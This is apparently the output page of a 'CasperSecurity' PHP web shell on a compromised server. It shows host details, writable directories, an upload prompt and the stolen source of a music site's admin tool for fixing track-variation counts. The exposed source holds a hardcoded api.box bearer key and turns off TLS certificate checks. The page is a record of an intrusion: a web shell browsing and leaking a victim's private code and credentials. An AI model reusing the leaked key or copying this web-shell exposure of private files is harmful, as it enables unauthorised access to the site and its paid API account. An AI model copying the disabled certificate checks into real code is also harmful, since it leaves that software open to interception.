T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/admin_includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/admin_includes/variations_fix.php
<?php
// Variations Fix Tool
// This tool checks and fixes issues with track variations by comparing with api.box source

$action = $_GET['action'] ?? 'check';
$track_id = $_GET['track_id'] ?? null;
$fix_all = isset($_GET['fix_all']) && $_GET['fix_all'] == '1';
$check_api_box = isset($_GET['check_api_box']) && $_GET['check_api_box'] == '1';
$sync_from_api_box = isset($_GET['sync_from_api_box']) && $_GET['sync_from_api_box'] == '1';
$process_task_results = isset($_GET['process_task_results']) && $_GET['process_task_results'] == '1';

$api_key = '63edba40620216c5aa2c04240ac41dbd';

$results = [
    'checked' => 0,
    'checked_api_box' => 0,
    'issues_found' => 0,
    'fixed' => 0,
    'synced' => 0,
    'processed' => 0,
    'variations_added' => 0,
    'errors' => []
];

$issues = [];

// Function to fetch metadata from api.box
function fetchFromApiBox($task_id, $api_key) {
    $api_url = "https://api.api.box/api/v1/status/$task_id";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $api_url);
    curl_setopt($ch, CURLOPT_HTTPGET, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Authorization: Bearer ' . $api_key,
        'Content-Type: application/json',
        'User-Agent: SoundStudioPro-Variations-Fix/1.0'
    ]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $curl_error = curl_error($ch);
    curl_close($ch);
    
    if ($curl_error) {
        return ['error' => 'cURL Error: ' . $curl_error];
    }
    
    if ($http_code !== 200) {
        return ['error' => 'HTTP Error: ' . $http_code];
    }
    
    $data = json_decode($response, true);
    
    if (!$data) {
        return ['error' => 'Invalid JSON response'];
    }
    
    // Extract variations from api.box response
    // Variations can be in different formats in the response
    $variations = [];
    
    // Check various possible locations for variations
    if (isset($data['data']['data']) && is_array($data['data']['data'])) {
        // Format: data.data is an array of variations
        $variations = $data['data']['data'];
    } elseif (isset($data['data']) && is_array($data['data'])) {
        // Format: data is an array
        $variations = $data['data'];
    } elseif (isset($data['variations']) && is_array($data['variations'])) {
        // Format: variations key directly
        $variations = $data['variations'];
    }
    
    return [
        'success' => true,
        'variations_count' => count($variations),
        'variations' => $variations,
        'raw_data' => $data
    ];
}

// Check for issues
if ($action === 'check' || $action === 'fix' || $check_api_box || $sync_from_api_box) {
    try {
        // Get all tracks with task_id (needed for api.box checking)
        $tracks_query = "
            SELECT 
                mt.id,
                mt.title,
                mt.task_id,
                mt.variations_count,
                COUNT(av.id) as actual_variations_count
            FROM music_tracks mt
            LEFT JOIN audio_variations av ON mt.id = av.track_id
            WHERE mt.status = 'complete'
            AND (mt.variations_count > 0 OR EXISTS (SELECT 1 FROM audio_variations WHERE track_id = mt.id) OR mt.task_id IS NOT NULL)
            GROUP BY mt.id, mt.title, mt.task_id, mt.variations_count
            ORDER BY mt.id DESC
            LIMIT 500
        ";
        
        $tracks_stmt = $pdo->prepare($tracks_query);
        $tracks_stmt->execute();
        $tracks = $tracks_stmt->fetchAll(PDO::FETCH_ASSOC);
        
        $results['checked'] = count($tracks);
        
        foreach ($tracks as $track) {
            $track_id_val = (int)$track['id'];
            $expected_count = (int)$track['variations_count'];
            $actual_count = (int)$track['actual_variations_count'];
            $task_id = $track['task_id'] ?? null;
            
            $api_box_count = null;
            $api_box_error = null;
            
            // Check api.box if requested
            if (($check_api_box || $sync_from_api_box) && $task_id) {
                $results['checked_api_box']++;
                $api_data = fetchFromApiBox($task_id, $api_key);
                
                if (isset($api_data['error'])) {
                    $api_box_error = $api_data['error'];
                } elseif (isset($api_data['variations_count'])) {
                    $api_box_count = $api_data['variations_count'];
                }
            }
            
            // Check if counts don't match
            if ($expected_count !== $actual_count) {
                $issue = [
                    'track_id' => $track_id_val,
                    'title' => $track['title'] ?: 'Untitled Track',
                    'task_id' => $task_id,
                    'expected_count' => $expected_count,
                    'actual_count' => $actual_count,
                    'api_box_count' => $api_box_count,
                    'api_box_error' => $api_box_error,
                    'issue_type' => $expected_count > $actual_count ? 'missing_variations' : 'count_mismatch'
                ];
                
                $issues[] = $issue;
                $results['issues_found']++;
                
                // Fix if requested (handled in the main fix section above)
            }
            
            // Check if variations exist but variations_count is 0
            if ($actual_count > 0 && $expected_count === 0) {
                $issue = [
                    'track_id' => $track_id_val,
                    'title' => $track['title'] ?: 'Untitled Track',
                    'task_id' => $task_id,
                    'expected_count' => 0,
                    'actual_count' => $actual_count,
                    'api_box_count' => $api_box_count,
                    'api_box_error' => $api_box_error,
                    'issue_type' => 'missing_count'
                ];
                
                $issues[] = $issue;
                $results['issues_found']++;
                
                // Fix if requested (handled in the main fix section above)
            }
        }
        
        // Also check for tracks that should have variations but don't
        $missing_variations_query = "
            SELECT 
                mt.id,
                mt.title,
                mt.variations_count
            FROM music_tracks mt
            WHERE mt.variations_count > 0
            AND NOT EXISTS (SELECT 1 FROM audio_variations WHERE track_id = mt.id)
        ";
        
        $missing_stmt = $pdo->prepare($missing_variations_query);
        $missing_stmt->execute();
        $missing_tracks = $missing_stmt->fetchAll(PDO::FETCH_ASSOC);
        
        foreach ($missing_tracks as $missing_track) {
            $issue = [
                'track_id' => (int)$missing_track['id'],
                'title' => $missing_track['title'] ?: 'Untitled Track',
                'expected_count' => (int)$missing_track['variations_count'],
                'actual_count' => 0,
                'issue_type' => 'no_variations_found'
            ];
            
            $issues[] = $issue;
            $results['issues_found']++;
            
            // Fix if requested
            if ($action === 'fix' && ($fix_all || $track_id == $missing_track['id'])) {
                try {
                    $update_stmt = $pdo->prepare("UPDATE music_tracks SET variations_count = 0 WHERE id = ?");
                    $update_stmt->execute([$missing_track['id']]);
                    
                    $issue['fixed'] = true;
                    $results['fixed']++;
                } catch (Exception $e) {
                    $issue['fix_error'] = $e->getMessage();
                    $results['errors'][] = "Failed to fix track {$missing_track['id']}: " . $e->getMessage();
                }
            }
        }
        
    } catch (Exception $e) {
        $results['errors'][] = "Error checking variations: " . $e->getMessage();
    }
}

// Process task_results JSON files to extract and store variations
if ($process_task_results) {
    // Include callback functions for downloading files
    if (!defined('CALLBACK_INCLUDED')) {
        define('CALLBACK_INCLUDED', true);
        require_once __DIR__ . '/../callback.php';
    }
    
    try {
        // Find all tracks (complete OR processing) that have task_results files
        // Include processing tracks because latest tracks may still be processing when first callback arrives
        // Process ALL tracks with task_results, not just missing variations, to ensure counts are correct
        $tracks_query = "
            SELECT mt.id, mt.task_id, mt.title, mt.status, mt.created_at, mt.variations_count,
                   (SELECT COUNT(*) FROM audio_variations WHERE track_id = mt.id) as actual_variations_count
            FROM music_tracks mt
            WHERE mt.status IN ('complete', 'processing')
            AND mt.task_id IS NOT NULL 
            AND mt.task_id != '' 
            AND mt.task_id != 'unknown'
            AND mt.task_id NOT LIKE 'temp_%'
            AND mt.task_id NOT LIKE 'retry_%'
            ORDER BY mt.created_at DESC
            LIMIT 500
        ";
        
        $tracks_stmt = $pdo->prepare($tracks_query);
        $tracks_stmt->execute();
        $tracksToProcess = $tracks_stmt->fetchAll(PDO::FETCH_ASSOC);
        
        $results['checked'] = count($tracksToProcess);
        
        foreach ($tracksToProcess as $track) {
            $trackId = $track['id'];
            $taskId = $track['task_id'];
            $title = $track['title'];
            $status = $track['status'];
            $existingCount = $track['actual_variations_count'];
            
            // Check for task_results JSON file
            $taskResultFile = "task_results/{$taskId}.json";
            
            if (!file_exists($taskResultFile)) {
                // For latest tracks, they might not have task_results yet if callback hasn't arrived
                // But we should still try to process if they have variations in the callback data
                // Skip for now - they'll be processed when callback arrives
                continue;
            }
            
            // Load and parse task_results
            $taskResultContent = file_get_contents($taskResultFile);
            $taskResultData = json_decode($taskResultContent, true);
            
            if (!$taskResultData) {
                $results['errors'][] = "Track #{$trackId}: Failed to parse task_results JSON";
                continue;
            }
            
            // Check if we have multiple items in data array
            $audioData = null;
            if (isset($taskResultData['data']['data']) && is_array($taskResultData['data']['data'])) {
                $audioData = $taskResultData['data']['data'];
            } elseif (isset($taskResultData['data']) && is_array($taskResultData['data'])) {
                $audioData = $taskResultData['data'];
            }
            
            if (!$audioData || count($audioData) <= 1) {
                // Even if only 1 item, we should verify variations_count matches
                // But skip variation processing if there's only 1 item
                if (count($audioData) == 1) {
                    // Verify count matches - if not, fix it
                    $verifyStmt = $pdo->prepare("SELECT COUNT(*) FROM audio_variations WHERE track_id = ?");
                    $verifyStmt->execute([$trackId]);
                    $actualCount = $verifyStmt->fetchColumn();
                    
                    if ($actualCount != $track['variations_count']) {
                        $fixStmt = $pdo->prepare("UPDATE music_tracks SET variations_count = ? WHERE id = ?");
                        $fixStmt->execute([$actualCount, $trackId]);
                        $results['processed']++;
                    }
                }
                continue; // Skip variation processing if only 1 or 0 items
            }
            
            // Get current variation count
            $countStmt = $pdo->prepare("SELECT COUNT(*) FROM audio_variations WHERE track_id = ?");
            $countStmt->execute([$trackId]);
            $currentVariationCount = $countStmt->fetchColumn();
            
            $variationIndex = $currentVariationCount;
            $storedVariationsCount = 0;
            
            foreach ($audioData as $originalIndex => $variation) {
                // Check for audio URL (same logic as callback)
                $variationAudioUrl = (!empty($variation['audio_url'])) ? $variation['audio_url'] : 
                                    ((!empty($variation['source_audio_url'])) ? $variation['source_audio_url'] : 
                                    ((!empty($variation['stream_audio_url'])) ? $variation['stream_audio_url'] : null));
                
                if (!empty($variationAudioUrl)) {
                    // Check if this variation already exists
                    $checkStmt = $pdo->prepare("SELECT COUNT(*) FROM audio_variations WHERE track_id = ? AND (audio_url = ? OR source_audio_url = ? OR stream_audio_url = ?)");
                    $checkStmt->execute([$trackId, $variationAudioUrl, $variationAudioUrl, $variationAudioUrl]);
                    $exists = $checkStmt->fetchColumn() > 0;
                    
                    if ($exists) {
                        continue; // Skip if already exists
                    }
                    
                    // Download variation audio
                    $localVariationUrl = downloadAndStoreAudio($variationAudioUrl, $taskId, 'variation', $variationIndex);
                    
                    // Extract variation title
                    $variationTitle = $variation['title'] ?? null;
                    if (!$variationTitle) {
                        $titleParts = [];
                        if (isset($variation['genre'])) $titleParts[] = $variation['genre'];
                        if (isset($variation['style'])) $titleParts[] = $variation['style'];
                        if (isset($variation['mood'])) $titleParts[] = $variation['mood'];
                        if (isset($variation['energy'])) $titleParts[] = $variation['energy'];
                        
                        if (!empty($titleParts)) {
                            $variationTitle = implode(' ', $titleParts) . ' Variation';
                        } else {
                            $variationTitle = "AI Variation " . ($variationIndex + 1);
                        }
                    }
                    
                    // Build variation metadata
                    $variationMetadata = [
                        'genre' => $variation['genre'] ?? (is_array($variation['tags']) ? $variation['tags'][0] : (is_string($variation['tags']) ? explode(',', $variation['tags'])[0] : null)),
                        'style' => $variation['style'] ?? null,
                        'bpm' => $variation['bpm'] ?? $variation['tempo'] ?? null,
                        'key' => $variation['key'] ?? null,
                        'mood' => $variation['mood'] ?? null,
                        'energy' => $variation['energy'] ?? null,
                        'instruments' => $variation['instruments'] ?? null,
                        'tags' => $variation['tags'] ?? null,
                        'duration' => $variation['duration'] ?? null,
                        'title' => $variationTitle
                    ];
                    
                    // Download variation image if available
                    $variationImageUrl = null;
                    if (isset($variation['image_url']) && !empty($variation['image_url'])) {
                        $variationImageUrl = downloadAndStoreImage($variation['image_url'], $taskId . '_var' . $variationIndex);
                    } elseif (isset($variation['source_image_url']) && !empty($variation['source_image_url'])) {
                        $variationImageUrl = downloadAndStoreImage($variation['source_image_url'], $taskId . '_var' . $variationIndex);
                    }
                    
                    // Insert variation
                    try {
                        $variationStmt = $pdo->prepare("
                            INSERT INTO audio_variations 
                            (track_id, variation_index, audio_url, duration, title, tags, image_url, source_audio_url, stream_audio_url, metadata) 
                            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
                        ");
                        
                        $variationTags = is_array($variation['tags']) ? implode(', ', $variation['tags']) : ($variation['tags'] ?? '');
                        $variationMetadataJson = json_encode($variationMetadata);
                        if (json_last_error() !== JSON_ERROR_NONE) {
                            $variationMetadataJson = json_encode(['title' => $variationTitle, 'duration' => $variation['duration'] ?? null]);
                        }
                        
                        $insertResult = $variationStmt->execute([
                            $trackId,
                            $variationIndex,
                            $localVariationUrl ?: $variationAudioUrl,
                            $variation['duration'] ?? null,
                            $variationTitle,
                            $variationTags ?: null,
                            $variationImageUrl,
                            $variation['source_audio_url'] ?? null,
                            $variation['stream_audio_url'] ?? null,
                            $variationMetadataJson
                        ]);
                        
                        if ($insertResult) {
                            $storedVariationsCount++;
                            $variationIndex++;
                            $results['variations_added']++;
                        } else {
                            $errorInfo = $variationStmt->errorInfo();
                            $results['errors'][] = "Track #{$trackId}: Failed to insert variation - " . json_encode($errorInfo);
                        }
                    } catch (Exception $e) {
                        $results['errors'][] = "Track #{$trackId}: Exception inserting variation - " . $e->getMessage();
                    }
                }
            }
            
            // Always verify and update variations_count to match actual count, even if no new variations were added
            $verifyStmt = $pdo->prepare("SELECT COUNT(*) FROM audio_variations WHERE track_id = ?");
            $verifyStmt->execute([$trackId]);
            $actualCount = $verifyStmt->fetchColumn();
            
            if ($storedVariationsCount > 0) {
                $newTotalCount = $currentVariationCount + $storedVariationsCount;
                $updateStmt = $pdo->prepare("UPDATE music_tracks SET variations_count = ? WHERE id = ?");
                $updateStmt->execute([$newTotalCount, $trackId]);
                
                // Verify and fix if needed
                if ($actualCount != $newTotalCount) {
                    $fixStmt = $pdo->prepare("UPDATE music_tracks SET variations_count = ? WHERE id = ?");
                    $fixStmt->execute([$actualCount, $trackId]);
                }
                
                $results['processed']++;
            } else {
                // Even if no new variations were stored, verify the count is correct
                // This fixes cases where variations were stored but count wasn't updated
                if ($actualCount != $track['variations_count']) {
                    $fixStmt = $pdo->prepare("UPDATE music_tracks SET variations_count = ? WHERE id = ?");
                    $fixStmt->execute([$actualCount, $trackId]);
                    $results['processed']++;
                }
            }
        }
        
    } catch (Exception $e) {
        $results['errors'][] = "Error processing task_results: " . $e->getMessage();
    }
}
?>

<!-- Variations Fix Tool -->
<div class="section-header">
    <h2><i class="fas fa-layer-group"></i> Track Variations Diagnostic & Fix Tool</h2>
    <p>Check and fix issues with track variations count mismatches.</p>
</div>

<!-- Action Buttons -->
<div style="display: flex; gap: 1rem; margin-bottom: 2rem; flex-wrap: wrap;">
    <a href="?tab=variations-fix&action=check" class="btn btn-primary">
        <i class="fas fa-search"></i> Check Database Only
    </a>
    <a href="?tab=variations-fix&action=check&check_api_box=1" class="btn btn-primary" style="background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);">
        <i class="fas fa-cloud-download-alt"></i> Check Against API.Box
    </a>
    <a href="?tab=variations-fix&process_task_results=1" class="btn btn-primary" style="background: linear-gradient(135deg, #f59e0b 0%, #d97706 100%);" onclick="return confirm('Process task_results JSON files to extract and store missing variations for all tracks?');">
        <i class="fas fa-file-code"></i> Process Task Results
    </a>
    <?php if (($action === 'check' || $check_api_box) && count($issues) > 0): ?>
    <a href="?tab=variations-fix&action=fix&fix_all=1" class="btn btn-success" onclick="return confirm('Are you sure you want to fix ALL issues? This will update variations_count for all affected tracks.');">
        <i class="fas fa-wrench"></i> Fix All Issues (<?= count($issues) ?>)
    </a>
    <a href="?tab=variations-fix&sync_from_api_box=1&fix_all=1" class="btn btn-success" style="background: linear-gradient(135deg, #48bb78 0%, #38a169 100%);" onclick="return confirm('⚠️ WARNING: This will re-sync ALL variations from API.Box and overwrite existing data. Continue?');">
        <i class="fas fa-sync-alt"></i> Re-sync All from API.Box (<?= count($issues) ?>)
    </a>
    <?php endif; ?>
</div>

<!-- Results Summary -->
<?php if ($action === 'check' || $action === 'fix' || $check_api_box || $sync_from_api_box || $process_task_results): ?>
<div class="stats-grid" style="margin-bottom: 2rem;">
    <div class="stat-card" style="background: rgba(102, 126, 234, 0.2); border: 1px solid rgba(102, 126, 234, 0.3);">
        <div class="stat-number" style="color: #667eea;"><?= $results['checked'] ?></div>
        <div class="stat-label">Tracks Checked</div>
    </div>
    <?php if ($check_api_box || $sync_from_api_box): ?>
    <div class="stat-card" style="background: rgba(139, 92, 246, 0.2); border: 1px solid rgba(139, 92, 246, 0.3);">
        <div class="stat-number" style="color: #8b5cf6;"><?= $results['checked_api_box'] ?></div>
        <div class="stat-label">API.Box Checked</div>
    </div>
    <?php endif; ?>
    <?php if ($process_task_results): ?>
    <div class="stat-card" style="background: rgba(245, 158, 11, 0.2); border: 1px solid rgba(245, 158, 11, 0.3);">
        <div class="stat-number" style="color: #f59e0b;"><?= $results['processed'] ?></div>
        <div class="stat-label">Tracks Processed</div>
    </div>
    <div class="stat-card" style="background: rgba(72, 187, 120, 0.2); border: 1px solid rgba(72, 187, 120, 0.3);">
        <div class="stat-number" style="color: #48bb78;"><?= $results['variations_added'] ?></div>
        <div class="stat-label">Variations Added</div>
    </div>
    <?php else: ?>
    <div class="stat-card" style="background: rgba(245, 158, 11, 0.2); border: 1px solid rgba(245, 158, 11, 0.3);">
        <div class="stat-number" style="color: #f59e0b;"><?= $results['issues_found'] ?></div>
        <div class="stat-label">Issues Found</div>
    </div>
    <?php if ($action === 'fix' || $sync_from_api_box): ?>
    <div class="stat-card" style="background: rgba(72, 187, 120, 0.2); border: 1px solid rgba(72, 187, 120, 0.3);">
        <div class="stat-number" style="color: #48bb78;"><?= $results['fixed'] ?></div>
        <div class="stat-label">Issues Fixed</div>
    </div>
    <?php if ($sync_from_api_box && $results['synced'] > 0): ?>
    <div class="stat-card" style="background: rgba(56, 161, 105, 0.2); border: 1px solid rgba(56, 161, 105, 0.3);">
        <div class="stat-number" style="color: #38a169;"><?= $results['synced'] ?></div>
        <div class="stat-label">Synced from API.Box</div>
    </div>
    <?php endif; ?>
    <?php endif; ?>
    <?php endif; ?>
</div>
<?php endif; ?>

<!-- Error Messages -->
<?php if (!empty($results['errors'])): ?>
<div style="background: rgba(229, 62, 62, 0.2); border: 1px solid rgba(229, 62, 62, 0.3); border-radius: 12px; padding: 1.5rem; margin-bottom: 2rem;">
    <h3 style="color: #e53e3e; margin-top: 0;"><i class="fas fa-exclamation-triangle"></i> Errors</h3>
    <ul style="color: #fc8181; margin: 0; padding-left: 1.5rem;">
        <?php foreach ($results['errors'] as $error): ?>
        <li><?= htmlspecialchars($error) ?></li>
        <?php endforeach; ?>
    </ul>
</div>
<?php endif; ?>

<!-- Issues List -->
<?php if (!empty($issues)): ?>
<div style="background: rgba(255, 255, 255, 0.05); border-radius: 16px; padding: 2rem; margin-bottom: 2rem;">
    <h3 style="margin-top: 0; color: white;">
        <i class="fas fa-list"></i> Issues Found (<?= count($issues) ?>)
    </h3>
    
    <div style="overflow-x: auto;">
        <table style="width: 100%; border-collapse: collapse; color: white;">
            <thead>
                <tr style="border-bottom: 2px solid rgba(255, 255, 255, 0.1);">
                    <th style="padding: 1rem; text-align: left;">Track ID</th>
                    <th style="padding: 1rem; text-align: left;">Title</th>
                    <th style="padding: 1rem; text-align: center;">DB Count</th>
                    <th style="padding: 1rem; text-align: center;">Actual</th>
                    <?php if ($check_api_box || $sync_from_api_box): ?>
                    <th style="padding: 1rem; text-align: center;">API.Box</th>
                    <?php endif; ?>
                    <th style="padding: 1rem; text-align: left;">Issue Type</th>
                    <th style="padding: 1rem; text-align: center;">Status</th>
                    <th style="padding: 1rem; text-align: center;">Action</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($issues as $issue): ?>
                <tr style="border-bottom: 1px solid rgba(255, 255, 255, 0.05);">
                    <td style="padding: 1rem;">
                        <a href="/track.php?id=<?= $issue['track_id'] ?>" target="_blank" style="color: #667eea; text-decoration: none;">
                            #<?= $issue['track_id'] ?>
                        </a>
                    </td>
                    <td style="padding: 1rem;"><?= htmlspecialchars($issue['title']) ?></td>
                    <td style="padding: 1rem; text-align: center;"><?= $issue['expected_count'] ?></td>
                    <td style="padding: 1rem; text-align: center;"><?= $issue['actual_count'] ?></td>
                    <?php if ($check_api_box || $sync_from_api_box): ?>
                    <td style="padding: 1rem; text-align: center;">
                        <?php if (isset($issue['api_box_error'])): ?>
                            <span style="color: #e53e3e;" title="<?= htmlspecialchars($issue['api_box_error']) ?>">
                                <i class="fas fa-exclamation-triangle"></i> Error
                            </span>
                        <?php elseif ($issue['api_box_count'] !== null): ?>
                            <span style="color: <?= $issue['api_box_count'] == $issue['actual_count'] ? '#48bb78' : '#f59e0b' ?>;">
                                <?= $issue['api_box_count'] ?>
                            </span>
                        <?php else: ?>
                            <span style="color: #a0aec0;">-</span>
                        <?php endif; ?>
                    </td>
                    <?php endif; ?>
                    <td style="padding: 1rem;">
                        <?php
                        $issue_labels = [
                            'missing_variations' => '<span style="color: #f59e0b;">Missing Variations</span>',
                            'count_mismatch' => '<span style="color: #f59e0b;">Count Mismatch</span>',
                            'missing_count' => '<span style="color: #f59e0b;">Missing Count</span>',
                            'no_variations_found' => '<span style="color: #e53e3e;">No Variations Found</span>'
                        ];
                        echo $issue_labels[$issue['issue_type']] ?? $issue['issue_type'];
                        ?>
                    </td>
                    <td style="padding: 1rem; text-align: center;">
                        <?php if (isset($issue['fixed']) && $issue['fixed']): ?>
                            <span style="color: #48bb78;"><i class="fas fa-check-circle"></i> Fixed</span>
                        <?php elseif (isset($issue['fix_error'])): ?>
                            <span style="color: #e53e3e;" title="<?= htmlspecialchars($issue['fix_error']) ?>">
                                <i class="fas fa-exclamation-circle"></i> Error
                            </span>
                        <?php else: ?>
                            <span style="color: #a0aec0;">Pending</span>
                        <?php endif; ?>
                    </td>
                    <td style="padding: 1rem; text-align: center;">
                        <?php if (!isset($issue['fixed']) || !$issue['fixed']): ?>
                        <div style="display: flex; gap: 0.5rem; justify-content: center; flex-wrap: wrap;">
                            <a href="?tab=variations-fix&action=fix&track_id=<?= $issue['track_id'] ?>" 
                               class="btn btn-sm btn-success"
                               onclick="return confirm('Fix variations count for track #<?= $issue['track_id'] ?>?');">
                                <i class="fas fa-wrench"></i> Fix
                            </a>
                            <?php if ($issue['task_id']): ?>
                            <a href="?tab=variations-fix&sync_from_api_box=1&track_id=<?= $issue['track_id'] ?>" 
                               class="btn btn-sm" 
                               style="background: linear-gradient(135deg, #8b5cf6 0%, #7c3aed 100%);"
                               onclick="return confirm('⚠️ Re-sync variations from API.Box for track #<?= $issue['track_id'] ?>? This will overwrite existing variations.');">
                                <i class="fas fa-sync-alt"></i> Re-sync
                            </a>
                            <?php endif; ?>
                        </div>
                        <?php endif; ?>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    </div>
</div>
<?php elseif ($action === 'check'): ?>
<div style="background: rgba(72, 187, 120, 0.2); border: 1px solid rgba(72, 187, 120, 0.3); border-radius: 12px; padding: 2rem; text-align: center;">
    <i class="fas fa-check-circle" style="font-size: 3rem; color: #48bb78; margin-bottom: 1rem;"></i>
    <h3 style="color: #48bb78; margin: 0;">No Issues Found!</h3>
    <p style="color: #a0aec0; margin-top: 0.5rem;">All track variations counts are correct.</p>
</div>
<?php endif; ?>

<!-- Instructions -->
<div style="background: rgba(102, 126, 234, 0.1); border: 1px solid rgba(102, 126, 234, 0.3); border-radius: 12px; padding: 1.5rem; margin-top: 2rem;">
    <h3 style="margin-top: 0; color: white;"><i class="fas fa-info-circle"></i> How This Tool Works</h3>
    <ul style="color: #a0aec0; line-height: 1.8;">
        <li><strong>Check Database Only:</strong> Scans all tracks and compares <code>variations_count</code> with actual count in <code>audio_variations</code> table</li>
        <li><strong>Check Against API.Box:</strong> Fetches metadata from api.box API and compares variations count with database. This is the source of truth check.</li>
        <li><strong>Issues Found:</strong>
            <ul style="margin-top: 0.5rem;">
                <li><strong>Missing Variations:</strong> Track has higher count than actual variations</li>
                <li><strong>Count Mismatch:</strong> Count doesn't match actual variations</li>
                <li><strong>Missing Count:</strong> Variations exist but count is 0</li>
                <li><strong>No Variations Found:</strong> Count > 0 but no variations in database</li>
            </ul>
        </li>
        <li><strong>Fix:</strong> Updates <code>variations_count</code> to match actual count in database</li>
        <li><strong>Re-sync from API.Box:</strong> Downloads metadata from api.box and updates both <code>variations_count</code> and <code>audio_variations</code> table with actual data from source</li>
        <li><strong>Process Task Results:</strong> Processes saved <code>task_results</code> JSON files to extract and store missing variations. This is useful for older tracks that have the data saved locally but variations weren't stored in the database.</li>
        <li><strong>Fix All:</strong> Automatically fixes all issues found in one operation</li>
        <li><strong>⚠️ Important:</strong> Always use "Check Against API.Box" first to see the real source of truth, then use "Re-sync from API.Box" to fix issues. Use "Process Task Results" for tracks that have local task_results files but missing variations.</li>
    </ul>
</div>

<style>
.btn-sm {
    padding: 0.4rem 0.8rem;
    font-size: 0.85rem;
}
</style>


CasperSecurity Mini